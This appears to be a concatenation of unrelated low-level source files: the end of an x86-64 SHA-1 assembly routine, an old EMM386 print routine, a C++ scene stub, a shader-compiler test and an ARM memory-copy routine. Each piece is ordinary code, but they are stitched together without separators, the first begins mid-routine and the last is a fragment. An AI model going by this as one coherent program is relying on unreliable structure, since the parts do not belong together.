esi,eax xor edi,ecx shld eax,eax,5 add ebp,edi xor esi,ebx xor ebx,ecx add ebp,eax vpalignr xmm8,xmm1,xmm0,8 vpxor xmm2,xmm2,xmm6 add edx,DWORD[32+rsp] and esi,ebx xor ebx,ecx shrd eax,eax,7 vpxor xmm2,xmm2,xmm3 mov edi,ebp xor esi,ebx vpaddd xmm9,xmm11,xmm1 shld ebp,ebp,5 add edx,esi vpxor xmm2,xmm2,xmm8 xor edi,eax xor eax,ebx add edx,ebp add ecx,DWORD[36+rsp] vpsrld xmm8,xmm2,30 vmovdqa XMMWORD[16+rsp],xmm9 and edi,eax xor eax,ebx shrd ebp,ebp,7 mov esi,edx vpslld xmm2,xmm2,2 xor edi,eax shld edx,edx,5 add ecx,edi xor esi,ebp xor ebp,eax add ecx,edx add ebx,DWORD[40+rsp] and esi,ebp vpor xmm2,xmm2,xmm8 xor ebp,eax shrd edx,edx,7 mov edi,ecx xor esi,ebp shld ecx,ecx,5 add ebx,esi xor edi,edx xor edx,ebp add ebx,ecx add eax,DWORD[44+rsp] and edi,edx xor edx,ebp shrd ecx,ecx,7 mov esi,ebx xor edi,edx shld ebx,ebx,5 add eax,edi xor esi,edx add eax,ebx vpalignr xmm8,xmm2,xmm1,8 vpxor xmm3,xmm3,xmm7 add ebp,DWORD[48+rsp] xor esi,ecx mov edi,eax shld eax,eax,5 vpxor xmm3,xmm3,xmm4 add ebp,esi xor edi,ecx vpaddd xmm9,xmm11,xmm2 shrd ebx,ebx,7 add ebp,eax vpxor xmm3,xmm3,xmm8 add edx,DWORD[52+rsp] xor edi,ebx mov esi,ebp shld ebp,ebp,5 vpsrld xmm8,xmm3,30 vmovdqa XMMWORD[32+rsp],xmm9 add edx,edi xor esi,ebx shrd eax,eax,7 add edx,ebp vpslld xmm3,xmm3,2 add ecx,DWORD[56+rsp] xor esi,eax mov edi,edx shld edx,edx,5 add ecx,esi xor edi,eax shrd ebp,ebp,7 add ecx,edx vpor xmm3,xmm3,xmm8 add ebx,DWORD[60+rsp] xor edi,ebp mov esi,ecx shld ecx,ecx,5 add ebx,edi xor esi,ebp shrd edx,edx,7 add ebx,ecx add eax,DWORD[rsp] vpaddd xmm9,xmm11,xmm3 xor esi,edx mov edi,ebx shld ebx,ebx,5 add eax,esi vmovdqa XMMWORD[48+rsp],xmm9 xor edi,edx shrd ecx,ecx,7 add eax,ebx add ebp,DWORD[4+rsp] xor edi,ecx mov esi,eax shld eax,eax,5 add ebp,edi xor esi,ecx shrd ebx,ebx,7 add ebp,eax add edx,DWORD[8+rsp] xor esi,ebx mov edi,ebp shld ebp,ebp,5 add edx,esi xor edi,ebx shrd eax,eax,7 add edx,ebp add ecx,DWORD[12+rsp] xor edi,eax mov esi,edx shld edx,edx,5 add ecx,edi xor esi,eax shrd ebp,ebp,7 add ecx,edx cmp r9,r10 je NEAR $L$done_avx vmovdqa xmm6,XMMWORD[64+r11] vmovdqa xmm11,XMMWORD[r11] vmovdqu xmm0,XMMWORD[r9] vmovdqu xmm1,XMMWORD[16+r9] vmovdqu xmm2,XMMWORD[32+r9] vmovdqu xmm3,XMMWORD[48+r9] vpshufb xmm0,xmm0,xmm6 add r9,64 add ebx,DWORD[16+rsp] xor esi,ebp vpshufb xmm1,xmm1,xmm6 mov edi,ecx shld ecx,ecx,5 vpaddd xmm4,xmm0,xmm11 add ebx,esi xor edi,ebp shrd edx,edx,7 add ebx,ecx vmovdqa XMMWORD[rsp],xmm4 add eax,DWORD[20+rsp] xor edi,edx mov esi,ebx shld ebx,ebx,5 add eax,edi xor esi,edx shrd ecx,ecx,7 add eax,ebx add ebp,DWORD[24+rsp] xor esi,ecx mov edi,eax shld eax,eax,5 add ebp,esi xor edi,ecx shrd ebx,ebx,7 add ebp,eax add edx,DWORD[28+rsp] xor edi,ebx mov esi,ebp shld ebp,ebp,5 add edx,edi xor esi,ebx shrd eax,eax,7 add edx,ebp add ecx,DWORD[32+rsp] xor esi,eax vpshufb xmm2,xmm2,xmm6 mov edi,edx shld edx,edx,5 vpaddd xmm5,xmm1,xmm11 add ecx,esi xor edi,eax shrd ebp,ebp,7 add ecx,edx vmovdqa XMMWORD[16+rsp],xmm5 add ebx,DWORD[36+rsp] xor edi,ebp mov esi,ecx shld ecx,ecx,5 add ebx,edi xor esi,ebp shrd edx,edx,7 add ebx,ecx add eax,DWORD[40+rsp] xor esi,edx mov edi,ebx shld ebx,ebx,5 add eax,esi xor edi,edx shrd ecx,ecx,7 add eax,ebx add ebp,DWORD[44+rsp] xor edi,ecx mov esi,eax shld eax,eax,5 add ebp,edi xor esi,ecx shrd ebx,ebx,7 add ebp,eax add edx,DWORD[48+rsp] xor esi,ebx vpshufb xmm3,xmm3,xmm6 mov edi,ebp shld ebp,ebp,5 vpaddd xmm6,xmm2,xmm11 add edx,esi xor edi,ebx shrd eax,eax,7 add edx,ebp vmovdqa XMMWORD[32+rsp],xmm6 add ecx,DWORD[52+rsp] xor edi,eax mov esi,edx shld edx,edx,5 add ecx,edi xor esi,eax shrd ebp,ebp,7 add ecx,edx add ebx,DWORD[56+rsp] xor esi,ebp mov edi,ecx shld ecx,ecx,5 add ebx,esi xor edi,ebp shrd edx,edx,7 add ebx,ecx add eax,DWORD[60+rsp] xor edi,edx mov esi,ebx shld ebx,ebx,5 add eax,edi shrd ecx,ecx,7 add eax,ebx add eax,DWORD[r8] add esi,DWORD[4+r8] add ecx,DWORD[8+r8] add edx,DWORD[12+r8] mov DWORD[r8],eax add ebp,DWORD[16+r8] mov DWORD[4+r8],esi mov ebx,esi mov DWORD[8+r8],ecx mov edi,ecx mov DWORD[12+r8],edx xor edi,edx mov DWORD[16+r8],ebp and esi,edi jmp NEAR $L$oop_avx ALIGN 16 $L$done_avx: add ebx,DWORD[16+rsp] xor esi,ebp mov edi,ecx shld ecx,ecx,5 add ebx,esi xor edi,ebp shrd edx,edx,7 add ebx,ecx add eax,DWORD[20+rsp] xor edi,edx mov esi,ebx shld ebx,ebx,5 add eax,edi xor esi,edx shrd ecx,ecx,7 add eax,ebx add ebp,DWORD[24+rsp] xor esi,ecx mov edi,eax shld eax,eax,5 add ebp,esi xor edi,ecx shrd ebx,ebx,7 add ebp,eax add edx,DWORD[28+rsp] xor edi,ebx mov esi,ebp shld ebp,ebp,5 add edx,edi xor esi,ebx shrd eax,eax,7 add edx,ebp add ecx,DWORD[32+rsp] xor esi,eax mov edi,edx shld edx,edx,5 add ecx,esi xor edi,eax shrd ebp,ebp,7 add ecx,edx add ebx,DWORD[36+rsp] xor edi,ebp mov esi,ecx shld ecx,ecx,5 add ebx,edi xor esi,ebp shrd edx,edx,7 add ebx,ecx add eax,DWORD[40+rsp] xor esi,edx mov edi,ebx shld ebx,ebx,5 add eax,esi xor edi,edx shrd ecx,ecx,7 add eax,ebx add ebp,DWORD[44+rsp] xor edi,ecx mov esi,eax shld eax,eax,5 add ebp,edi xor esi,ecx shrd ebx,ebx,7 add ebp,eax add edx,DWORD[48+rsp] xor esi,ebx mov edi,ebp shld ebp,ebp,5 add edx,esi xor edi,ebx shrd eax,eax,7 add edx,ebp add ecx,DWORD[52+rsp] xor edi,eax mov esi,edx shld edx,edx,5 add ecx,edi xor esi,eax shrd ebp,ebp,7 add ecx,edx add ebx,DWORD[56+rsp] xor esi,ebp mov edi,ecx shld ecx,ecx,5 add ebx,esi xor edi,ebp shrd edx,edx,7 add ebx,ecx add eax,DWORD[60+rsp] xor edi,edx mov esi,ebx shld ebx,ebx,5 add eax,edi shrd ecx,ecx,7 add eax,ebx vzeroall add eax,DWORD[r8] add esi,DWORD[4+r8] add ecx,DWORD[8+r8] mov DWORD[r8],eax add edx,DWORD[12+r8] mov DWORD[4+r8],esi add ebp,DWORD[16+r8] mov DWORD[8+r8],ecx mov DWORD[12+r8],edx mov DWORD[16+r8],ebp movaps xmm6,XMMWORD[((64+0))+rsp] movaps xmm7,XMMWORD[((64+16))+rsp] movaps xmm8,XMMWORD[((64+32))+rsp] movaps xmm9,XMMWORD[((64+48))+rsp] movaps xmm10,XMMWORD[((64+64))+rsp] movaps xmm11,XMMWORD[((64+80))+rsp] lea rsi,[160+rsp] mov r12,QWORD[rsi] mov rbp,QWORD[8+rsi] mov rbx,QWORD[16+rsi] lea rsp,[24+rsi] $L$epilogue_avx: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_sha1_block_data_order_avx: ALIGN 64 K_XX_XX: DD 0x5a827999,0x5a827999,0x5a827999,0x5a827999 DD 0x6ed9eba1,0x6ed9eba1,0x6ed9eba1,0x6ed9eba1 DD 0x8f1bbcdc,0x8f1bbcdc,0x8f1bbcdc,0x8f1bbcdc DD 0xca62c1d6,0xca62c1d6,0xca62c1d6,0xca62c1d6 DD 0x00010203,0x04050607,0x08090a0b,0x0c0d0e0f DB 83,72,65,49,32,98,108,111,99,107,32,116,114,97,110,115 DB 102,111,114,109,32,102,111,114,32,120,56,54,95,54,52,44 DB 32,67,82,89,80,84,79,71,65,77,83,32,98,121,32,60 DB 97,112,112,114,111,64,111,112,101,110,115,115,108,46,111,114 DB 103,62,0 ALIGN 64 EXTERN __imp_RtlVirtualUnwind ALIGN 16 se_handler: push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD[120+r8] mov rbx,QWORD[248+r8] lea r10,[$L$prologue] cmp rbx,r10 jb NEAR $L$common_seh_tail mov rax,QWORD[152+r8] lea r10,[$L$epilogue] cmp rbx,r10 jae NEAR $L$common_seh_tail mov rax,QWORD[64+rax] lea rax,[32+rax] mov rbx,QWORD[((-8))+rax] mov rbp,QWORD[((-16))+rax] mov r12,QWORD[((-24))+rax] mov r13,QWORD[((-32))+rax] mov QWORD[144+r8],rbx mov QWORD[160+r8],rbp mov QWORD[216+r8],r12 mov QWORD[224+r8],r13 jmp NEAR $L$common_seh_tail ALIGN 16 ssse3_handler: push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD[120+r8] mov rbx,QWORD[248+r8] mov rsi,QWORD[8+r9] mov r11,QWORD[56+r9] mov r10d,DWORD[r11] lea r10,[r10*1+rsi] cmp rbx,r10 jb NEAR $L$common_seh_tail mov rax,QWORD[152+r8] mov r10d,DWORD[4+r11] lea r10,[r10*1+rsi] cmp rbx,r10 jae NEAR $L$common_seh_tail lea rsi,[64+rax] lea rdi,[512+r8] mov ecx,12 DD 0xa548f3fc lea rax,[184+rax] mov rbx,QWORD[((-8))+rax] mov rbp,QWORD[((-16))+rax] mov r12,QWORD[((-24))+rax] mov QWORD[144+r8],rbx mov QWORD[160+r8],rbp mov QWORD[216+r8],r12 $L$common_seh_tail: mov rdi,QWORD[8+rax] mov rsi,QWORD[16+rax] mov QWORD[152+r8],rax mov QWORD[168+r8],rsi mov QWORD[176+r8],rdi mov rdi,QWORD[40+r9] mov rsi,r8 mov ecx,154 DD 0xa548f3fc mov rsi,r9 xor rcx,rcx mov rdx,QWORD[8+rsi] mov r8,QWORD[rsi] mov r9,QWORD[16+rsi] mov r10,QWORD[40+rsi] lea r11,[56+rsi] lea r12,[24+rsi] mov QWORD[32+rsp],r10 mov QWORD[40+rsp],r11 mov QWORD[48+rsp],r12 mov QWORD[56+rsp],rcx call QWORD[__imp_RtlVirtualUnwind] mov eax,1 add rsp,64 popfq pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop rdi pop rsi DB 0F3h,0C3h ;repret section .pdata rdata align=4 ALIGN 4 DD $L$SEH_begin_sha1_block_data_order wrt ..imagebase DD $L$SEH_end_sha1_block_data_order wrt ..imagebase DD $L$SEH_info_sha1_block_data_order wrt ..imagebase DD $L$SEH_begin_sha1_block_data_order_ssse3 wrt ..imagebase DD $L$SEH_end_sha1_block_data_order_ssse3 wrt ..imagebase DD $L$SEH_info_sha1_block_data_order_ssse3 wrt ..imagebase DD $L$SEH_begin_sha1_block_data_order_avx wrt ..imagebase DD $L$SEH_end_sha1_block_data_order_avx wrt ..imagebase DD $L$SEH_info_sha1_block_data_order_avx wrt ..imagebase section .xdata rdata align=8 ALIGN 8 $L$SEH_info_sha1_block_data_order: DB 9,0,0,0 DD se_handler wrt ..imagebase $L$SEH_info_sha1_block_data_order_ssse3: DB 9,0,0,0 DD ssse3_handler wrt ..imagebase DD $L$prologue_ssse3 wrt ..imagebase,$L$epilogue_ssse3 wrt ..imagebase $L$SEH_info_sha1_block_data_order_avx: DB 9,0,0,0 DD ssse3_handler wrt ..imagebase DD $L$prologue_avx wrt ..imagebase,$L$epilogue_avx wrt ..imagebase
.386p page 58,132 ;****************************************************************************** title PRINT.ASM - Protected Mode Print Routines ;****************************************************************************** ; ; (C) Copyright MICROSOFT Corp. 1986-1991 ; (C) Copyright COMPAQ Computer Corp. 1986-1991 ; ; Title: EMM386D.EXE - MICROSOFT Expanded Memory Manager 386 DEBUG Driver ; ; Module: PRINT.ASM - Protected Mode Print Routines ; ; Version: 0.08 ; ; Date: January 31, 1986 ; ; Author: ; ;****************************************************************************** ; ; Change log: ; ; DATE REVISION DESCRIPTION ; -------- -------- ------------------------------------------------------- ; 01/31/86 Original ; 05/12/86 A-RRH Cleanup and segment reorganization ; 06/28/86 0.02 Name changed from CEMM386 to CEMM (SBP). ; 07/05/86 0.04 Moved to DCODE segment (SBP). ; 07/06/86 0.04 moved data to DDATA segment (SBP). ; 09/09/86 0.08 Added code to decide MONO vs. COLOR screen (SBP). ; ;****************************************************************************** ; ; Functional Description: ; ;****************************************************************************** .lfcond ; list false conditionals public PrintString public kputc public RowCol public IsReal include VDMseg.inc include VDMsel.inc include desc.inc DDATA segment RowCol dw 0 DDATA ends CR equ 0dh ; carriage return LF equ 0ah ; line feed TAB equ 9 ; tab BS equ 8 ; backspace MONO_PARA equ 0b000h COLOUR_PARA equ 0b800h ;*** kputc - write character/attribute to screen ; ; This is a simple character output routine. It does not ; interleave writes to video memory with the 6845. It ; does not update the cursor position. It does not understand ; anything except a CGA in 80x25 text mode. ; ; ENTRY PROTECTED MODE ; AX - character-attribute to write ; DS - kernel data selector ; ; EXIT none - character written ; ; USES AX, flags ; DCODE segment assume cs:DCODE, ds:DDATA, es:nothing, ss:nothing kputc proc far push bx ; save callers regs push cx push dx push si push di push es push ds call IsReal ; need dual mode access jnz SHORT kp10 mov dx, DEBD_GSEL ; selector for protected mode jmp SHORT kp11 kp10: mov dx, DDATA ; para for real mode kp11: push dx ; save this segment for later mov ds, dx ; DS -> data segment mov dx, ds:[RowCol] ; DX = current row/col cmp al, CR ; is character a CR? jne SHORT kp1 mov dl, 0 ; yes, go to column 0 jmp SHORT kp3 ; jump to common code kp1: cmp al, LF ; is character a LF? jne SHORT kp2 inc dh ; yes, go to next row jmp SHORT kp3 ; jump to common code kp2: cmp al, TAB ; is it a tab jne SHORT kp12 and dl, 0f8h ; mask off low 3 bits (8 ch) add dl, 8 ; move to next tab position jmp SHORT kp3 ; jmp to common code kp12: cmp al, BS ; is it backspace jne SHORT kp13 dec dl ; back up one column jmp SHORT kp3 ; goto common code kp13: ; Must be ordinary character. Write it to screen, update position push ax ; save char/attr mov al, dh ; AL = row mov ah, 80 ; multiplier, 80 char per row mul ah ; AX = cell at start of row mov bh, 0 mov bl, dl ; BX = column add bx, ax ; BX = cell shl bx, 1 ; BX = byte offset of cell call GetVidSel ;(0.08) get video mem screen sel/seg mov es, ax ; ES -> screen pop es:[bx] ; write character inc dl ; update column kp3: ; Common code, first check for line wrap: cmp dl, 80 ; beyond rhs of screen? jl SHORT kp4 mov dl, 0 ; go to col 0 inc dh ; and move to next line kp4: ; Now check for scroll needed: cmp dh, 25 ; are we off end of screen? jl SHORT kp5 ; Now scroll screen call GetVidSel ;(0.08) get video mem screen sel/seg mov ds, ax ; DS -> screen mov es, ax ; ES -> screen mov di, 0 ; ES:DI = copy destination mov si, 160 ; DS:SI = copy source mov cx, 2000-80 ; copy word count cld rep movsw ; scroll ; Blank bottom line mov al, ' ' mov ah, 7 ; AX = blank character mov cx, 80 ; number of cells to blank mov di, 4000-160 ; ES:DI = start point rep stosw ; Update position mov dh, 24 ; new row kp5: pop ds ; set DS to data again mov ds:[RowCol], dx ; update row/col call SetCursor pop ds ; restore regs pop es pop di pop si pop dx pop cx pop bx ret kputc endp DCODE ends ;*** SetCursor - updates cursor position ; ; This routine reprograms the 6845 cursor position, and ; stores the new cursor position in the ROM bios data area. ; ; ENTRY DUAL MODE ; DH, DL = row, col ; ; EXIT cursor updated ; ; USES ax, bx, cx, flags ; CRT_COLS equ 04ah CURSOR_POSN equ 050h CRT_START equ 04eh ADDR_6845 equ 063h DCODE segment assume cs:DCODE, ds:DDATA, es:nothing, ss:nothing SetCursor proc near push ds mov bx, 40h mov ds, bx ; Save new position in BIOS data area mov ds:[CURSOR_POSN], dx ; Calculate offset on screen mov al, dh ; row mul byte ptr ds:[CRT_COLS] ; row * cols mov bl, dl ; bl = column mov bh, 0 ; bx = column add ax, bx ; ax = offset in screen sal ax, 1 ; double for attribute bytes mov cx, ds:[CRT_START] ; cx = start point of screen add cx, ax ; cx = offset of cursor sar cx, 1 ; convert to char count only ; Now program 6845 mov al, 14 ; 6845 register mov dx, ds:[ADDR_6845] ; base port # out dx, al inc dx jmp short $+2 mov al, ch out dx, al dec dx jmp short $+2 mov al, 15 out dx, al inc dx jmp short $+2 mov al, cl out dx, al pop ds ret SetCursor endp DCODE ends ;*** PrintString - prints a message on console ; ; This routine calls the "kernel" to print a string ; one character at a time. ; ; ENTRY 286 PROTECTED MODE ; DS - DATA3_SEL ; ES - DATA3_SEL ; SI - offset in DS of null terminated string to print ; ; EXIT String printed ; ; USES Flags ; DCODE segment assume cs:DCODE, ds:DDATA, es:nothing, ss:nothing PrintString proc near cld ; set up for string ops push si ; save callers regs push ax pr1: ; loop printing until null lodsb ; al = char to print and al, al ; terminator ? je SHORT pr2 mov ah, 7 ; attribute db 9ah ; far call dw offset DCODE:kputc ; offset dw DEBC_GSEL ; selector jmp pr1 ; back for more pr2: pop ax ; restore callers regs pop si ret PrintString endp ;*** GetVidSel - Get video selector/segment ; ; This routine sets AX to the selector/segment for the current ; primary monitor - MONO or COLOR ; ; ENTRY DUAL MODE ; ; EXIT AX = selector / segment for primary monitor display memory ; ; USES flags ; GetVidSel proc near call IsReal ;Q: Real mode ? jnz SHORT GVS_Real ; Y: determine MONO vs COLOR mov ax, COLOUR_GSEL ; N: Protected mode -> assume COLOR call IsMono ; Q: primary is MONO ? jnz SHORT GVS_Exit ; N: COLOR and Protected mode mov ax, MONO_GSEL ; Y: MONO and Protected mode jmp SHORT GVS_Exit GVS_Real: mov ax, COLOUR_PARA ; screen para for real mode COLOR call IsMono ; Q: primary is MONO ? jnz SHORT GVS_Exit ; N: COLOR and Real mode mov ax, MONO_PARA ; Y: MONO and Real mode jmp SHORT GVS_Exit GVS_Exit: ret GetVidSel endp ;*** IsReal - determine mode of cpu ; ; This routine is useful when writing dual mode code. ; It returns with 'Z' = 1 if the cpu is in protected mode, ; otherwise 'Z' = 0. ; ; ENTRY DUAL MODE ; ; EXIT 'Z' = 1 (protected mode), 0 (real mode) ; ; USES flags ; IsReal proc near push ax smsw ax xor al, 0ffh and al, 1 pop ax ret ; returns with flags set IsReal endp ;*** IsMono - determine mode of cpu ; ; Determines if the primary monitor is Monochrome. ; It returns with 'Z' = 1 if the monitor is monochrome, ; otherwise 'Z' = 0. ; ; ENTRY DUAL MODE ; (selector 40h must point to 40:0 physical). ; ; EXIT 'Z' = 1 (primary is monochrome), 0 (else) ; ; USES flags ; IsMono proc near push ds push ax mov ax,40h mov ds,ax ASSUME DS:romdata mov ax,[EqStatus] and ax,30h ; keep only primary display bits cmp ax,30h ;Q: monochrome ? ; ZR => yes NZ => no pop ax pop ds ASSUME DS:DDATA ret ; returns with flags set IsMono endp DCODE ends end  
#include "Scene.h" /* Scene シーンだよ */ Scene::Scene() : index(0), manager(nullptr) {} Scene::~Scene() {} void Scene::Initialize() {} void Scene::Tick(double delta) {} void Scene::OnEvent(const std::string & message) {} void Scene::Draw() {} bool Scene::IsDead() { return false; } void Scene::Disappear() {} void Scene::Dispose() {}
/*// RUN: %testasm %s /Fo %t.dxbc*/ // RUN: %dxbc2dxil %t.dxbc /emit-llvm37 /o %t.ll.converted // RUN: fc %b.ref %t.ll.converted cs_5_0 dcl_globalFlags refactoringAllowed dcl_constantbuffer cb0[1], immediateIndexed dcl_input vThreadIDInGroup.xyz dcl_temps 3 dcl_tgsm_raw g0, 1024 dcl_thread_group 4, 2, 3 ishl r0.x, vThreadIDInGroup.z, l(2) store_raw g0.xy, r0.x, cb0[0].wzyx sync_g sync_ugroup sync_uglobal sync_g_t sync_ugroup_t sync_uglobal_t sync_ugroup_g sync_uglobal_g sync_ugroup_g_t sync_uglobal_g_t ld_raw r0.xz, r0.x, g0.zxwy imm_atomic_iadd r2.x, g0, r1.xyxx, vThreadIDInGroup.x atomic_or g0, r1.xyxx, vThreadIDInGroup.x atomic_cmp_store g0, r1.xyxx, vThreadIDInGroup.y, vThreadIDInGroup.x imm_atomic_cmp_exch r1.x, g0, r1.xyxx, vThreadIDInGroup.y, vThreadIDInGroup.x ret
;******************************************************************************************************** ; uC/LIB ; CUSTOM LIBRARY MODULES ; ; (c) Copyright 2004-2015; Micrium, Inc.; Weston, FL ; ; All rights reserved. Protected by international copyright laws. ; ; uC/LIB is provided in source form to registered licensees ONLY. It is ; illegal to distribute this source code to any third party unless you receive ; written permission by an authorized Micrium representative. Knowledge of ; the source code may NOT be used to develop a similar product. ; ; Please help us continue to provide the Embedded community with the finest ; software available. Your honesty is greatly appreciated. ; ; You can contact us at www.micrium.com. ;******************************************************************************************************** ;******************************************************************************************************** ; ; STANDARD MEMORY OPERATIONS ; ; ARM-Cortex-M3 ; IAR Compiler ; ; Filename : lib_mem_a.asm ; Version : V1.38.02.00 ; Programmer(s) : JDH ; BAN ;******************************************************************************************************** ; Note(s) : (1) NO compiler-supplied standard library functions are used in library or product software. ; ; (a) ALL standard library functions are implemented in the custom library modules : ; ; (1) \<Custom Library Directory>\lib*.* ; ; (2) \<Custom Library Directory>\Ports\<cpu>\<compiler>\lib*_a.* ; ; where ; <Custom Library Directory> directory path for custom library software ; <cpu> directory name for specific processor (CPU) ; <compiler> directory name for specific compiler ; ; (b) Product-specific library functions are implemented in individual products. ; ; (2) Assumes ARM CPU mode configured for Little Endian. ;******************************************************************************************************** ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** PUBLIC Mem_Copy ;******************************************************************************************************** ; CODE GENERATION DIRECTIVES ;******************************************************************************************************** RSEG CODE:CODE:NOROOT(2) ;******************************************************************************************************** ; Mem_Copy() ; ; Description : Copy data octets from one buffer to another buffer. ; ; Argument(s) : pdest Pointer to destination memory buffer. ; ; psrc Pointer to source memory buffer. ; ; size Number of data buffer octets to copy. ; ; Return(s) : none. ; ; Caller(s) : Application. ; ; Note(s) : (1) Null copies allowed (i.e. 0-octet size). ; ; (2) Memory buffers NOT checked for overlapping. ; ; (3) Modulo arithmetic is used to determine whether a memory buffer starts on a 'CPU_ALIGN' ; address boundary. ; ; (4) ARM Cortex-M3 processors use a subset of the ARM Thumb-2 instruction set which does ; NOT support 16-bit conditional branch instructions but ONLY supports 8-bit conditional ; branch instructions. ; ; Therefore, branches exceeding 8-bit, signed, relative offsets : ; ; (a) CANNOT be implemented with conditional branches; but ... ; (b) MUST be implemented with non-conditional branches. ;******************************************************************************************************** ; void Mem_Copy (void *pdest, ; ==> R0 ; void *psrc, ; ==> R1 ; CPU_SIZE_T size) ; ==> R2 Mem_Copy: CMP R0, #0 BNE Mem_Copy_1 BX LR ; return if pdest == NULL Mem_Copy_1: CMP R1, #0 BNE Mem_Copy_2 BX LR ; return if psrc == NULL Mem_Copy_2: CMP R2, #0 BNE Mem_Copy_3 BX LR ; return if size == 0 Mem_Copy_3: STMFD SP!, {R3-R12} ; save registers on stack Chk_Align_32: ; check if both dest & src 32-bit aligned AND R3, R0, #0x03 AND R4, R1, #0x03 CMP R3, R4 BNE Chk_Align_16 ; not 32-bit aligned, check for 16-bit alignment RSB R3, R3, #0x04 ; compute 1-2-3 pre-copy bytes (to align to the next 32-bit boundary) AND R3, R3, #0x03 Pre_Copy_1: CMP R3, #1 ; copy 1-2-3 bytes (to align to the next 32-bit boundary) BCC Copy_32_1 ; start real 32-bit copy CMP R2, #1 ; check if any more data to copy BCS Pre_Copy_1_Cont B Mem_Copy_END ; no more data to copy (see Note #4b) Pre_Copy_1_Cont: LDRB R4, [R1], #1 STRB R4, [R0], #1 SUB R3, R3, #1 SUB R2, R2, #1 B Pre_Copy_1 Chk_Align_16: ; check if both dest & src 16-bit aligned AND R3, R0, #0x01 AND R4, R1, #0x01 CMP R3, R4 BEQ Pre_Copy_2 B Copy_08_1 ; not 16-bit aligned, start 8-bit copy (see Note #4b) Pre_Copy_2: CMP R3, #1 ; copy 1 byte (to align to the next 16-bit boundary) BCC Copy_16_1 ; start real 16-bit copy LDRB R4, [R1], #1 STRB R4, [R0], #1 SUB R3, R3, #1 SUB R2, R2, #1 B Pre_Copy_2 Copy_32_1: CMP R2, #(04*10*09) ; Copy 9 chunks of 10 32-bit words (360 octets per loop) BCC Copy_32_2 LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} SUB R2, R2, #(04*10*09) B Copy_32_1 Copy_32_2: CMP R2, #(04*10*01) ; Copy chunks of 10 32-bit words (40 octets per loop) BCC Copy_32_3 LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} SUB R2, R2, #(04*10*01) B Copy_32_2 Copy_32_3: CMP R2, #(04*01*01) ; Copy remaining 32-bit words BCC Copy_16_1 LDR R3, [R1], #4 STR R3, [R0], #4 SUB R2, R2, #(04*01*01) B Copy_32_3 Copy_16_1: CMP R2, #(02*01*16) ; Copy chunks of 16 16-bit words (32 bytes per loop) BCC Copy_16_2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 SUB R2, R2, #(02*01*16) B Copy_16_1 Copy_16_2: CMP R2, #(02*01*01) ; Copy remaining 16-bit words BCC Copy_08_1 LDRH R3, [R1], #2 STRH R3, [R0], #2 SUB R2, R2, #(02*01*01) B Copy_16_2 Copy_08_1: CMP R2, #(01*01*16) ; Copy chunks of 16 8-bit words (16 bytes per loop) BCC Copy_08_2 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 SUB R2, R2, #(01*01*16) B Copy_08_1 Copy_08_2: CMP R2, #(01*01*01) ; Copy remaining 8-bit words BCC Mem_Copy_END LDRB R3, [R1], #1 STRB R3, [R0], #1 SUB R2, R2, #(01*01*01) B Copy_08_2 Mem_Copy_END: LDMFD SP!, {R3-R12} ; restore registers from stack BX LR ; return END
MEM 1 # mem_2 = [1] LOAD 0 # accu_2 = [0]
